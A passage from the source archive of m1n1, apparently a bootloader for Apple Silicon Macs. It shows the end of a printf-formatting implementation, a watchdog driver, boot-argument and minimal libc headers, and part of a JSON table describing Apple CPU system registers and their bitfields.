*/ sizeptr = va_arg(args, SSIZE_T *); *sizeptr = len; break; case PRINT_C_INTMAX: intmaxptr = va_arg(args, INTMAX_T *); *intmaxptr = len; break; case PRINT_C_PTRDIFF: ptrdiffptr = va_arg(args, PTRDIFF_T *); *ptrdiffptr = len; break; default: intptr = va_arg(args, int *); *intptr = len; break; } break; case '%': /* Print a "%" character verbatim. */ OUTCHAR(str, len, size, ch); break; default: /* Skip other characters. */ break; } ch = *format++; state = PRINT_S_DEFAULT; base = cflags = flags = width = 0; precision = -1; break; } out: if (len < size) str[len] = '\0'; else if (size > 0) str[size - 1] = '\0'; if (overflow || len >= INT_MAX) { return -1; } return (int)len; } static void fmtstr(char *str, size_t *len, size_t size, const char *value, int width, int precision, int flags) { int padlen, strln; /* Amount to pad. */ int noprecision = (precision == -1); if (value == NULL) /* We're forgiving. */ value = "(null)"; /* If a precision was specified, don't read the string past it. */ for (strln = 0; value[strln] != '\0' && (noprecision || strln < precision); strln++) continue; if ((padlen = width - strln) < 0) padlen = 0; if (flags & PRINT_F_MINUS) /* Left justify. */ padlen = -padlen; while (padlen > 0) { /* Leading spaces. */ OUTCHAR(str, *len, size, ' '); padlen--; } while (*value != '\0' && (noprecision || precision-- > 0)) { OUTCHAR(str, *len, size, *value); value++; } while (padlen < 0) { /* Trailing spaces. */ OUTCHAR(str, *len, size, ' '); padlen++; } } static void fmtint(char *str, size_t *len, size_t size, INTMAX_T value, int base, int width, int precision, int flags) { UINTMAX_T uvalue; char iconvert[MAX_CONVERT_LENGTH]; char sign = 0; char hexprefix = 0; int spadlen = 0; /* Amount to space pad. */ int zpadlen = 0; /* Amount to zero pad. */ int pos; int separators = (flags & PRINT_F_QUOTE); int noprecision = (precision == -1); if (flags & PRINT_F_UNSIGNED) uvalue = value; else { uvalue = (value >= 0) ? value : -value; if (value < 0) sign = '-'; else if (flags & PRINT_F_PLUS) /* Do a sign. */ sign = '+'; else if (flags & PRINT_F_SPACE) sign = ' '; } pos = convert(uvalue, iconvert, sizeof(iconvert), base, flags & PRINT_F_UP); if (flags & PRINT_F_NUM && uvalue != 0) { /* * C99 says: "The result is converted to an `alternative form'. * For `o' conversion, it increases the precision, if and only * if necessary, to force the first digit of the result to be a * zero (if the value and precision are both 0, a single 0 is * printed). For `x' (or `X') conversion, a nonzero result has * `0x' (or `0X') prefixed to it." (7.19.6.1, 6) */ switch (base) { case 8: if (precision <= pos) precision = pos + 1; break; case 16: hexprefix = (flags & PRINT_F_UP) ? 'X' : 'x'; break; } } if (separators) /* Get the number of group separators we'll print. */ separators = getnumsep(pos); zpadlen = precision - pos - separators; spadlen = width /* Minimum field width. */ - separators /* Number of separators. */ - MAX(precision, pos) /* Number of integer digits. */ - ((sign != 0) ? 1 : 0) /* Will we print a sign? */ - ((hexprefix != 0) ? 2 : 0); /* Will we print a prefix? */ if (zpadlen < 0) zpadlen = 0; if (spadlen < 0) spadlen = 0; /* * C99 says: "If the `0' and `-' flags both appear, the `0' flag is * ignored. For `d', `i', `o', `u', `x', and `X' conversions, if a * precision is specified, the `0' flag is ignored." (7.19.6.1, 6) */ if (flags & PRINT_F_MINUS) /* Left justify. */ spadlen = -spadlen; else if (flags & PRINT_F_ZERO && noprecision) { zpadlen += spadlen; spadlen = 0; } while (spadlen > 0) { /* Leading spaces. */ OUTCHAR(str, *len, size, ' '); spadlen--; } if (sign != 0) /* Sign. */ OUTCHAR(str, *len, size, sign); if (hexprefix != 0) { /* A "0x" or "0X" prefix. */ OUTCHAR(str, *len, size, '0'); OUTCHAR(str, *len, size, hexprefix); } while (zpadlen > 0) { /* Leading zeros. */ OUTCHAR(str, *len, size, '0'); zpadlen--; } while (pos > 0) { /* The actual digits. */ pos--; OUTCHAR(str, *len, size, iconvert[pos]); if (separators > 0 && pos > 0 && pos % 3 == 0) printsep(str, len, size); } while (spadlen < 0) { /* Trailing spaces. */ OUTCHAR(str, *len, size, ' '); spadlen++; } } static void printsep(char *str, size_t *len, size_t size) { OUTCHAR(str, *len, size, ','); } static int getnumsep(int digits) { int separators = (digits - ((digits % 3 == 0) ? 1 : 0)) / 3; return separators; } static int convert(UINTMAX_T value, char *buf, size_t size, int base, int caps) { const char *digits = caps ? "0123456789ABCDEF" : "0123456789abcdef"; size_t pos = 0; /* We return an unterminated buffer with the digits in reverse order. */ do { buf[pos++] = digits[value % base]; value /= base; } while (value != 0 && pos < size); return (int)pos; } int vsprintf(char *buf, const char *fmt, va_list args) { return vsnprintf(buf, INT_MAX, fmt, args); } m1n1-1.4.11/src/vsprintf.h000066400000000000000000000003461453754430200151770ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #ifndef VSPRINTF_H #define VSPRINTF_H #include int vsprintf(char *buf, const char *fmt, va_list args); int vsnprintf(char *buf, size_t size, const char *fmt, va_list args); #endif m1n1-1.4.11/src/wdt.c000066400000000000000000000015021453754430200141100ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #include "wdt.h" #include "adt.h" #include "types.h" #include "utils.h" #define WDT_COUNT 0x10 #define WDT_ALARM 0x14 #define WDT_CTL 0x1c static u64 wdt_base = 0; void wdt_disable(void) { int path[8]; int node = adt_path_offset_trace(adt, "/arm-io/wdt", path); if (node < 0) { printf("WDT node not found!\n"); return; } if (adt_get_reg(adt, path, "reg", 0, &wdt_base, NULL)) { printf("Failed to get WDT reg property!\n"); return; } printf("WDT registers @ 0x%lx\n", wdt_base); write32(wdt_base + WDT_CTL, 0); printf("WDT disabled\n"); } void wdt_reboot(void) { if (!wdt_base) return; write32(wdt_base + WDT_ALARM, 0x100000); write32(wdt_base + WDT_COUNT, 0); write32(wdt_base + WDT_CTL, 4); } m1n1-1.4.11/src/wdt.h000066400000000000000000000002001453754430200141070ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #ifndef __WDT_H__ #define __WDT_H__ void wdt_disable(void); void wdt_reboot(void); #endif m1n1-1.4.11/src/xnuboot.h000066400000000000000000000011351453754430200150170ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #ifndef XNUBOOT_H #define XNUBOOT_H #define CMDLINE_LENGTH 608 struct boot_video { u64 base; u64 display; u64 stride; u64 width; u64 height; u64 depth; }; struct boot_args { u16 revision; u16 version; u64 virt_base; u64 phys_base; u64 mem_size; u64 top_of_kernel_data; struct boot_video video; u32 machine_type; void *devtree; u32 devtree_size; char cmdline[CMDLINE_LENGTH]; u64 boot_flags; u64 mem_size_actual; }; extern u64 boot_args_addr; extern struct boot_args cur_boot_args; #endif m1n1-1.4.11/sysinc/000077500000000000000000000000001453754430200136715ustar00rootroot00000000000000m1n1-1.4.11/sysinc/assert.h000066400000000000000000000006771453754430200153550ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #ifndef ASSERT_H #define ASSERT_H void __assert_fail(const char *assertion, const char *file, unsigned int line, const char *function); #define assert(expression) \ ((expression) ? (void)0 : __assert_fail(#expression, __FILE__, __LINE__, __func__)) /* Requires C11 */ #define static_assert _Static_assert #endif m1n1-1.4.11/sysinc/endian.h000066400000000000000000000003141453754430200152760ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #ifndef ENDIAN_H #define ENDIAN_H #define __LITTLE_ENDIAN 1234 #define __BIG_ENDIAN 4321 #define __PDP_ENDIAN 3412 #define __BYTE_ORDER __LITTLE_ENDIAN #endif m1n1-1.4.11/sysinc/errno.h000066400000000000000000000001611453754430200151650ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #ifndef ERRNO_H #define ERRNO_H #define ENOMEM 12 #define EINVAL 22 #endif m1n1-1.4.11/sysinc/limits.h000066400000000000000000000004311453754430200153410ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #ifndef LIMITS_H #define LIMITS_H #define INT_MAX (0x7fffffff) #define UINT_MAX (0xffffffffu) #define LONG_MAX (0x7fffffffffffffffl) #define ULONG_MAX (0xfffffffffffffffful) #define LLONG_MAX LONG_MAX #define ULLONG_MAX ULLONG_MAX #endif m1n1-1.4.11/sysinc/malloc.h000066400000000000000000000004771453754430200153210ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #ifndef MALLOC_H #define MALLOC_H #include void *malloc(size_t); void free(void *); void *calloc(size_t, size_t); void *realloc(void *, size_t); void *realloc_in_place(void *, size_t); void *memalign(size_t, size_t); int posix_memalign(void **, size_t, size_t); #endif m1n1-1.4.11/sysinc/math.h000066400000000000000000000004571453754430200150010ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #ifndef MATH_H #define MATH_H #if 100 * __GNUC__ + __GNUC_MINOR__ >= 303 #define NAN __builtin_nanf("") #define INFINITY __builtin_inff() #else #define NAN (0.0f / 0.0f) #define INFINITY 1e5000f #endif float expf(float); float powf(float, float); #endif m1n1-1.4.11/sysinc/string.h000066400000000000000000000016671453754430200153620ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #ifndef STRING_H #define STRING_H #include void *memcpy(void *s1, const void *s2, size_t n); void *memmove(void *s1, const void *s2, size_t n); int memcmp(const void *s1, const void *s2, size_t n); void *memset(void *s, int c, size_t n); void *memchr(const void *s, int c, size_t n); char *strcpy(char *s1, const char *s2); char *strncpy(char *s1, const char *s2, size_t n); int strcmp(const char *s1, const char *s2); int strncmp(const char *s1, const char *s2, size_t n); size_t strlen(const char *s); size_t strnlen(const char *s, size_t n); char *strchr(const char *s, int c); char *strrchr(const char *s, int c); long atol(const char *s); static inline int tolower(int c) { if (c >= 'A' && c <= 'Z') return c - 'A' + 'a'; else return c; } static inline int toupper(int c) { if (c >= 'a' && c <= 'z') return c - 'a' + 'A'; else return c; } #endif m1n1-1.4.11/tools/000077500000000000000000000000001453754430200135215ustar00rootroot00000000000000m1n1-1.4.11/tools/apple_regs.json000066400000000000000000001315561453754430200165500ustar00rootroot00000000000000[ {"index": 0, "name": "HID0_EL1", "fullname": "Hardware Implementation-Dependent Register 0", "enc": [3, 0, 15, 0, 0 ], "width": 64}, {"index": 0, "name": "EHID0_EL1", "fullname": "Hardware Implementation-Dependent Register 0 (E-core)", "enc": [3, 0, 15, 0, 1 ], "width": 64}, {"index": 0, "name": "HID1_EL1", "fullname": "Hardware Implementation-Dependent Register 1", "enc": [3, 0, 15, 1, 0 ], "width": 64}, {"index": 0, "name": "EHID1_EL1", "fullname": "Hardware Implementation-Dependent Register 1 (E-core)", "enc": [3, 0, 15, 1, 1 ], "width": 64}, {"index": 0, "name": "HID2_EL1", "fullname": "Hardware Implementation-Dependent Register 2", "enc": [3, 0, 15, 2, 0 ], "width": 64}, {"index": 0, "name": "EHID2_EL1", "fullname": "Hardware Implementation-Dependent Register 2 (E-core)", "enc": [3, 0, 15, 2, 1 ], "width": 64}, {"index": 0, "name": "HID3_EL1", "fullname": "Hardware Implementation-Dependent Register 3", "enc": [3, 0, 15, 3, 0 ], "width": 64}, {"index": 0, "name": "EHID3_EL1", "fullname": "Hardware Implementation-Dependent Register 3 (E-core)", "enc": [3, 0, 15, 3, 1 ], "width": 64}, {"index": 0, "name": "HID4_EL1", "fullname": "Hardware Implementation-Dependent Register 4", "enc": [3, 0, 15, 4, 0 ], "width": 64}, {"index": 0, "name": "EHID4_EL1", "fullname": "Hardware Implementation-Dependent Register 4 (E-core)", "enc": [3, 0, 15, 4, 1 ], "width": 64}, {"index": 0, "name": "HID5_EL1", "fullname": "Hardware Implementation-Dependent Register 5", "enc": [3, 0, 15, 5, 0 ], "width": 64}, {"index": 0, "name": "EHID5_EL1", "fullname": "Hardware Implementation-Dependent Register 5 (E-core)", "enc": [3, 0, 15, 5, 1 ], "width": 64}, {"index": 0, "name": "HID6_EL1", "fullname": "Hardware Implementation-Dependent Register 6", "enc": [3, 0, 15, 6, 0 ], "width": 64}, {"index": 0, "name": "HID7_EL1", "fullname": "Hardware Implementation-Dependent Register 7", "enc": [3, 0, 15, 7, 0 ], "width": 64}, {"index": 0, "name": "EHID7_EL1", "fullname": "Hardware Implementation-Dependent Register 7 (E-core)", "enc": [3, 0, 15, 7, 1 ], "width": 64}, {"index": 0, "name": "HID8_EL1", "fullname": "Hardware Implementation-Dependent Register 8", "enc": [3, 0, 15, 8, 0 ], "width": 64}, {"index": 0, "name": "HID9_EL1", "fullname": "Hardware Implementation-Dependent Register 9", "enc": [3, 0, 15, 9, 0 ], "width": 64}, {"index": 0, "name": "EHID9_EL1", "fullname": "Hardware Implementation-Dependent Register 9 (E-core)", "enc": [3, 0, 15, 9, 1 ], "width": 64}, {"index": 0, "name": "HID10_EL1", "fullname": "Hardware Implementation-Dependent Register 10", "enc": [3, 0, 15, 10, 0 ], "width": 64}, {"index": 0, "name": "EHID10_EL1", "fullname": "Hardware Implementation-Dependent Register 10 (E-core)", "enc": [3, 0, 15, 10, 1 ], "width": 64}, {"index": 0, "name": "HID11_EL1", "fullname": "Hardware Implementation-Dependent Register 11", "enc": [3, 0, 15, 11, 0 ], "width": 64}, {"index": 0, "name": "EHID11_EL1", "fullname": "Hardware Implementation-Dependent Register 11 (E-core)", "enc": [3, 0, 15, 11, 1 ], "width": 64}, {"index": 0, "name": "HID13_EL1", "fullname": "Hardware Implementation-Dependent Register 13", "enc": [3, 0, 15, 14, 0 ], "width": 64}, {"index": 0, "name": "HID14_EL1", "fullname": "Hardware Implementation-Dependent Register 14", "enc": [3, 0, 15, 15, 0 ], "width": 64}, {"index": 0, "name": "HID16_EL1", "fullname": "Hardware Implementation-Dependent Register 16", "enc": [3, 0, 15, 15, 2 ], "width": 64}, {"index": 0, "name": "HID17_EL1", "fullname": "Hardware Implementation-Dependent Register 17", "enc": [3, 0, 15, 15, 5 ], "width": 64}, {"index": 0, "name": "HID18_EL1", "fullname": "Hardware Implementation-Dependent Register 18", "enc": [3, 0, 15, 11, 2 ], "width": 64}, {"index": 0, "name": "EHID18_EL1", "fullname": "Hardware Implementation-Dependent Register 18 (E-core)", "enc": [3, 0, 15, 11, 3 ], "width": 64}, {"index": 0, "name": "EHID20_EL1", "fullname": "Hardware Implementation-Dependent Register 20 (E-core)", "enc": [3, 0, 15, 1, 2 ], "width": 64}, {"index": 0, "name": "HID21_EL1", "fullname": "Hardware Implementation-Dependent Register 21", "enc": [3, 0, 15, 1, 3 ], "width": 64}, {"index": 0, "name": "HID26_EL1", "fullname": "Hardware Implementation-Dependent Register 26", "enc": [3, 0, 15, 0, 3 ], "width": 64}, {"index": 0, "name": "HID27_EL1", "fullname": "Hardware Implementation-Dependent Register 27", "enc": [3, 0, 15, 0, 4 ], "width": 64}, {"index": 0, "name": "PMCR0_EL1", "fullname": "Performance Monitor Control Register 0", "enc": [3, 1, 15, 0, 0 ], "width": 64, "fieldsets": [{"fields": [ {"name": "PMC0_EN", "msb": 0, "lsb": 0}, {"name": "PMC1_EN", "msb": 1, "lsb": 1}, {"name": "PMC2_EN", "msb": 2, "lsb": 2}, {"name": "PMC3_EN", "msb": 3, "lsb": 3}, {"name": "PMC4_EN", "msb": 4, "lsb": 4}, {"name": "PMC5_EN", "msb": 5, "lsb": 5}, {"name": "PMC6_EN", "msb": 6, "lsb": 6}, {"name": "PMC7_EN", "msb": 7, "lsb": 7}, {"name": "IRQ_MODE", "msb": 10, "lsb": 8}, {"name": "IRQ_ACTIVE", "msb": 11, "lsb": 11}, {"name": "PMC0_IRQ_EN", "msb": 12, "lsb": 12}, {"name": "PMC1_IRQ_EN", "msb": 13, "lsb": 13}, {"name": "PMC2_IRQ_EN", "msb": 14, "lsb": 14}, {"name": "PMC3_IRQ_EN", "msb": 15, "lsb": 15}, {"name": "PMC4_IRQ_EN", "msb": 16, "lsb": 16}, {"name": "PMC5_IRQ_EN", "msb": 17, "lsb": 17}, {"name": "PMC6_IRQ_EN", "msb": 18, "lsb": 18}, {"name": "PMC7_IRQ_EN", "msb": 19, "lsb": 19}, {"name": "DIS_CNT_PMI", "msb": 20, "lsb": 20}, {"name": "WAIT_ERET", "msb": 22, "lsb": 22}, {"name": "CNT_GLOBAL_L2C", "msb": 23, "lsb": 23}, {"name": "USER_EN", "msb": 30, "lsb": 30}, {"name": "PMC8_EN", "msb": 32, "lsb": 32}, {"name": "PMC9_EN", "msb": 33, "lsb": 33}, {"name": "PMC8_IRQ_EN", "msb": 44, "lsb": 44}, {"name": "PMC9_IRQ_EN", "msb": 45, "lsb": 45} ]}]}, {"index": 0, "name": "PMCR1_EL1", "fullname": "Performance Monitor Control Register 1", "enc": [3, 1, 15, 1, 0 ], "width": 64, "fieldsets": [{"fields": [ {"name": "EL0_A32_PMC_0_7", "msb": 7, "lsb": 0}, {"name": "EL0_A64_PMC_0_7", "msb": 15, "lsb": 8}, {"name": "EL1_A64_PMC_0_7", "msb": 23, "lsb": 16}, {"name": "EL3_A64_PMC_0_7", "msb": 31, "lsb": 24}, {"name": "EL0_A32_PMC_8_9", "msb": 33, "lsb": 32}, {"name": "EL0_A64_PMC_8_9", "msb": 41, "lsb": 40}, {"name": "EL1_A64_PMC_8_9", "msb": 49, "lsb": 48}, {"name": "EL3_A64_PMC_8_9", "msb": 57, "lsb": 56} ]}]}, {"index": 0, "name": "PMCR2_EL1", "fullname": "Performance Monitor Control Register 2", "enc": [3, 1, 15, 2, 0 ], "width": 64}, {"index": 0, "name": "PMCR3_EL1", "fullname": "Performance Monitor Control Register 3", "enc": [3, 1, 15, 3, 0 ], "width": 64}, {"index": 0, "name": "PMCR4_EL1", "fullname": "Performance Monitor Control Register 4", "enc": [3, 1, 15, 4, 0 ], "width": 64}, {"index": 0, "name": "PMESR0_EL1", "fullname": "Performance Monitor Event Selection Register 0", "enc": [3, 1, 15, 5, 0 ], "width": 64, "fieldsets": [{"fields": [ {"name": "PMC2_EVENT_SEL", "msb": 7, "lsb": 0}, {"name": "PMC3_EVENT_SEL", "msb": 15, "lsb": 8}, {"name": "PMC4_EVENT_SEL", "msb": 23, "lsb": 16}, {"name": "PMC5_EVENT_SEL", "msb": 31, "lsb": 24} ]}]}, {"index": 0, "name": "PMESR1_EL1", "fullname": "Performance Monitor Event Selection Register 1", "enc": [3, 1, 15, 6, 0 ], "width": 64, "fieldsets": [{"fields": [ {"name": "PMC6_EVENT_SEL", "msb": 7, "lsb": 0}, {"name": "PMC7_EVENT_SEL", "msb": 15, "lsb": 8}, {"name": "PMC8_EVENT_SEL", "msb": 23, "lsb": 16}, {"name": "PMC9_EVENT_SEL", "msb": 31, "lsb": 24} ]}]}, {"index": 0, "name": "PMCR1_GL1", "fullname": "Performance Monitor Control Register 1 (GL1)", "enc": [3, 1, 15, 8, 2 ], "width": 64}, {"index": 0, "name": "PMSR_EL1", "fullname": "Performance Monitor Status Register", "enc": [3, 1, 15, 13, 0 ], "width": 64, "fieldsets": [{"fields": [ {"name": "PMC0_OVERFLOW", "msb": 0, "lsb": 0}, {"name": "PMC1_OVERFLOW", "msb": 1, "lsb": 1}, {"name": "PMC2_OVERFLOW", "msb": 2, "lsb": 2}, {"name": "PMC3_OVERFLOW", "msb": 3, "lsb": 3}, {"name": "PMC4_OVERFLOW", "msb": 4, "lsb": 4}, {"name": "PMC5_OVERFLOW", "msb": 5, "lsb": 5}, {"name": "PMC6_OVERFLOW", "msb": 6, "lsb": 6}, {"name": "PMC7_OVERFLOW", "msb": 7, "lsb": 7}, {"name": "PMC8_OVERFLOW", "msb": 8, "lsb": 8}, {"name": "PMC9_OVERFLOW", "msb": 9, "lsb": 9} ]}]}, {"index": 0, "name": "PMC0_EL1", "fullname": "Performance Monitor Counter 0", "enc": [3, 2, 15, 0, 0 ], "width": 64}, {"index": 0, "name": "PMC1_EL1", "fullname": "Performance Monitor Counter 1", "enc": [3, 2, 15, 1, 0 ], "width": 64}, {"index": 0, "name": "PMC2_EL1", "fullname": "Performance Monitor Counter 2", "enc": [3, 2, 15, 2, 0 ], "width": 64}, {"index": 0, "name": "PMC3_EL1", "fullname": "Performance Monitor Counter 3", "enc": [3, 2, 15, 3, 0 ], "width": 64}, {"index": 0, "name": "PMC4_EL1", "fullname": "Performance Monitor Counter 4", "enc": [3, 2, 15, 4, 0 ], "width": 64}, {"index": 0, "name": "PMC5_EL1", "fullname": "Performance Monitor Counter 5", "enc": [3, 2, 15, 5, 0 ], "width": 64}, {"index": 0, "name": "PMC6_EL1", "fullname": "Performance Monitor Counter 6", "enc": [3, 2, 15, 6, 0 ], "width": 64}, {"index": 0, "name": "PMC7_EL1", "fullname": "Performance Monitor Counter 7", "enc": [3, 2, 15, 7, 0 ], "width": 64}, {"index": 0, "name": "PMC8_EL1", "fullname": "Performance Monitor Counter 8", "enc": [3, 2, 15, 9, 0 ], "width": 64}, {"index": 0, "name": "PMC9_EL1", "fullname": "Performance Monitor Counter 9", "enc": [3, 2, 15, 10, 0 ], "width": 64}, {"index": 0, "name": "LSU_ERR_STS_EL1", "fullname": "Load-Store Unit Error Status", "enc": [3, 3, 15, 0, 0 ], "width": 64}, {"index": 0, "name": "E_LSU_ERR_STS_EL1", "fullname": "Load-Store Unit Error Status (E-core)", "enc": [3, 3, 15, 2, 0 ], "width": 64}, {"index": 0, "name": "LSU_ERR_CTL_EL1", "fullname": "Load-Store Unit Error Control", "enc": [3, 3, 15, 1, 0 ], "width": 64}, {"index": 0, "name": "L2C_ERR_STS_EL1", "fullname": "L2 Cache Error Status", "enc": [3, 3, 15, 8, 0 ], "width": 64}, {"index": 0, "name": "L2C_ERR_ADR_EL1", "fullname": "L2 Cache Address", "enc": [3, 3, 15, 9, 0 ], "width": 64}, {"index": 0, "name": "L2C_ERR_INF_EL1", "fullname": "L2 Cache Error Information", "enc": [3, 3, 15, 10, 0 ], "width": 64}, {"index": 0, "name": "FED_ERR_STS_EL1", "fullname": "FED Error Status", "enc": [3, 4, 15, 0, 0 ], "width": 64}, {"index": 0, "name": "E_FED_ERR_STS_EL1", "fullname": "FED Error Status (E-Core)", "enc": [3, 4, 15, 0, 2 ], "width": 64}, {"index": 0, "name": "APCTL_EL1", "fullname": "Pointer Authentication Control", "enc": [3, 4, 15, 0, 4 ], "width": 64}, {"index": 0, "name": "SPR_LOCKDOWN_EL1", "fullname": "SPR Lockdown", "enc": [3, 4, 15, 0, 5 ], "width": 64}, {"index": 0, "name": "KERNKEYLO_EL1", "fullname": "Pointer Authentication Kernel Key Low", "enc": [3, 4, 15, 1, 0 ], "width": 64}, {"index": 0, "name": "KERNKEYHI_EL1", "fullname": "Pointer Authentication Kernel Key High", "enc": [3, 4, 15, 1, 1 ], "width": 64}, {"index": 0, "name": "VMSA_LOCK_EL1", "fullname": "Virtual Memory System Architecture Lock", "enc": [3, 4, 15, 1, 2 ], "width": 64}, {"index": 0, "name": "AMX_STATE_EL12", "fullname": "AMX State (EL1)", "enc": [3, 4, 15, 1, 3 ], "width": 64}, {"index": 0, "name": "AMX_CONFIG_EL1", "fullname": "AMX Config (EL1)", "enc": [3, 4, 15, 1, 4 ], "width": 64, "fieldsets": [{"fields": [ {"name": "EN", "msb": 63, "lsb": 63} ]}]}, {"index": 0, "name": "APRR_EL0", "fullname": "APRR EL0", "enc": [3, 4, 15, 2, 0 ], "width": 64}, {"index": 0, "name": "APRR_EL1", "fullname": "APRR EL1", "enc": [3, 4, 15, 2, 1 ], "width": 64}, {"index": 0, "name": "CTRR_LOCK_EL1", "fullname": "CTRR Lock", "enc": [3, 4, 15, 2, 2 ], "width": 64}, {"index": 0, "name": "CTRR_A_LWR_EL1", "fullname": "CTRR A Lower Address (EL1)", "enc": [3, 4, 15, 2, 3 ], "width": 64}, {"index": 0, "name": "CTRR_A_UPR_EL1", "fullname": "CTRR A Upper Address (EL1)", "enc": [3, 4, 15, 2, 4 ], "width": 64}, {"index": 0, "name": "CTRR_CTL_EL1", "fullname": "CTRR Control (EL1)", "enc": [3, 4, 15, 2, 5 ], "width": 64}, {"index": 0, "name": "VMSA_LOCK_EL12", "fullname": "Virtual Memory System Architecture Lock (EL12)", "enc": [3, 4, 15, 2, 6 ], "width": 64}, {"index": 0, "name": "APRR_JIT_MASK_EL2", "fullname": "APRR JIT Mask", "enc": [3, 4, 15, 2, 7 ], "width": 64}, {"index": 0, "name": "AMX_CONFIG_EL12", "fullname": "AMX Config (EL12)", "enc": [3, 4, 15, 4, 6 ], "width": 64}, {"index": 0, "name": "AMX_CTL_EL2", "fullname": "AMX Control (EL2)", "enc": [3, 4, 15, 4, 7 ], "width": 64, "fieldsets": [{"fields": [ {"name": "EN", "msb": 63, "lsb": 63}, {"name": "EN_EL1", "msb": 62, "lsb": 62} ]}]}, {"index": 0, "name": "CORE_INDEX", "fullname": "Core index in cluster", "enc": [3, 4, 15, 5, 0 ], "width": 64}, {"index": 0, "name": "SPRR_PPERM_EL20_SILLY_THING", "fullname": "SPRR Permission Configuration Register (EL20, useless)", "enc": [3, 4, 15, 5, 1 ], "width": 64}, {"index": 0, "name": "SPRR_UPERM_EL02", "fullname": "SPRR User Permission Configuration Register (EL02)", "enc": [3, 4, 15, 5, 2 ], "width": 64}, {"index": 0, "name": "SPRR_UMPRR_EL2", "fullname": "SPRR User MPRR (EL2)", "enc": [3, 4, 15, 7, 0 ], "width": 32}, {"index": 0, "name": "SPRR_UPERM_SH1_EL2", "fullname": "SPRR User Permission SH1 (EL2)", "enc": [3, 4, 15, 7, 1 ], "width": 32}, {"index": 0, "name": "SPRR_UPERM_SH2_EL2", "fullname": "SPRR User Permission SH2 (EL2)", "enc": [3, 4, 15, 7, 2 ], "width": 32}, {"index": 0, "name": "SPRR_UPERM_SH3_EL2", "fullname": "SPRR User Permission SH3 (EL2)", "enc": [3, 4, 15, 7, 3 ], "width": 32}, {"index": 0, "name": "SPRR_UMPRR_EL12", "fullname": "SPRR User MPRR (EL12)", "enc": [3, 4, 15, 8, 0 ], "width": 32}, {"index": 0, "name": "SPRR_UPERM_SH1_EL12", "fullname": "SPRR User Permission SH1 (EL12)", "enc": [3, 4, 15, 8, 1 ], "width": 32}, {"index": 0, "name": "SPRR_UPERM_SH2_EL12", "fullname": "SPRR User Permission SH2 (EL12)", "enc": [3, 4, 15, 8, 2 ], "width": 32}, {"index": 0, "name": "SPRR_UPERM_SH3_EL12", "fullname": "SPRR User Permission SH3 (EL12)", "enc": [3, 4, 15, 8, 3 ], "width": 32}, {"index": 0, "name": "CTRR_A_LWR_EL12", "fullname": "CTRR A Lower Address (EL12)", "enc": [3, 4, 15, 9, 0 ], "width": 64}, {"index": 0, "name": "CTRR_A_UPR_EL12", "fullname": "CTRR A Upper Address (EL12)", "enc": [3, 4, 15, 9, 1 ], "width": 64}, {"index": 0, "name": "CTRR_B_LWR_EL12", "fullname": "CTRR B Lower Address (EL12)", "enc": [3, 4, 15, 9, 2 ], "width": 64}, {"index": 0, "name": "CTRR_B_UPR_EL12", "fullname": "CTRR B Upper Address (EL12)", "enc": [3, 4, 15, 9, 3 ], "width": 64}, {"index": 0, "name": "CTRR_CTL_EL12", "fullname": "CTRR Control (EL12)", "enc": [3, 4, 15, 9, 4 ], "width": 64}, {"index": 0, "name": "CTRR_LOCK_EL12", "fullname": "CTRR Lock (EL12)", "enc": [3, 4, 15, 9, 5 ], "width": 64}, {"index": 0, "name": "SIQ_CFG_EL1", "fullname": "System Interrupt Configuration (EL1)", "enc": [3, 4, 15, 10, 4 ], "width": 64}, {"index": 0, "name": "ACNTPCT_EL0", "fullname": "Physical timer counter register (pre-spec CNTPCTSS_EL0)", "enc": [3, 4, 15, 10, 5 ], "width": 64}, {"index": 0, "name": "ACNTVCT_EL0", "fullname": "Virtual timer counter register (pre-spec CNTVCTSS_EL0)", "enc": [3, 4, 15, 10, 6 ], "width": 64}, {"index": 0, "name": "CTRR_A_LWR_EL2", "fullname": "CTRR A Lower Address (EL2)", "enc": [3, 4, 15, 11, 0 ], "width": 64}, {"index": 0, "name": "CTRR_A_UPR_EL2", "fullname": "CTRR A Upper Address (EL2)", "enc": [3, 4, 15, 11, 1 ], "width": 64}, {"index": 0, "name": "CTRR_CTL_EL2", "fullname": "CTRR Control (EL2)", "enc": [3, 4, 15, 11, 4 ], "width": 64}, {"index": 0, "name": "CTRR_LOCK_EL2", "fullname": "CTRR Lock", "enc": [3, 4, 15, 11, 5 ], "width": 64}, {"index": 0, "name": "JCTL_EL0", "fullname": "JITBox Control (EL0)", "enc": [3, 4, 15, 15, 6 ], "width": 64}, {"index": 0, "name": "IPI_RR_LOCAL_EL1", "fullname": "IPI Request Register (Local)", "enc": [3, 5, 15, 0, 0 ], "width": 64}, {"index": 0, "name": "IPI_RR_GLOBAL_EL1", "fullname": "IPI Request Register (Global)", "enc": [3, 5, 15, 0, 1 ], "width": 64}, {"index": 0, "name": "DPC_ERR_STS_EL1", "fullname": "DPC Error Status", "enc": [3, 5, 15, 0, 5 ], "width": 64}, {"index": 0, "name": "IPI_SR_EL1", "fullname": "IPI Status Register", "enc": [3, 5, 15, 1, 1 ], "width": 64, "fieldsets": [{"fields": [ {"name": "PENDING", "msb": 0, "lsb": 0} ]}]}, {"index": 0, "name": "VM_TMR_LR_EL2", "fullname": "VM Timer Link Register", "enc": [3, 5, 15, 1, 2 ], "width": 64}, {"index": 0, "name": "VM_TMR_FIQ_ENA_EL2", "fullname": "VM Timer FIQ Enable", "enc": [3, 5, 15, 1, 3 ], "width": 64, "fieldsets": [{"fields": [ {"name": "ENA_V", "msb": 0, "lsb": 0}, {"name": "ENA_P", "msb": 1, "lsb": 1} ]}]}, {"index": 0, "name": "AWL_SCRATCH_EL1", "fullname": "AWL Scratch Register", "enc": [3, 5, 15, 2, 6 ], "width": 64}, {"index": 0, "name": "IPI_CR_EL1", "fullname": "IPI Control Register", "enc": [3, 5, 15, 3, 1 ], "width": 64}, {"index": 0, "name": "ACC_CFG_EL1", "fullname": "Apple Core Cluster Configuration", "enc": [3, 5, 15, 4, 0 ], "width": 64}, {"index": 0, "name": 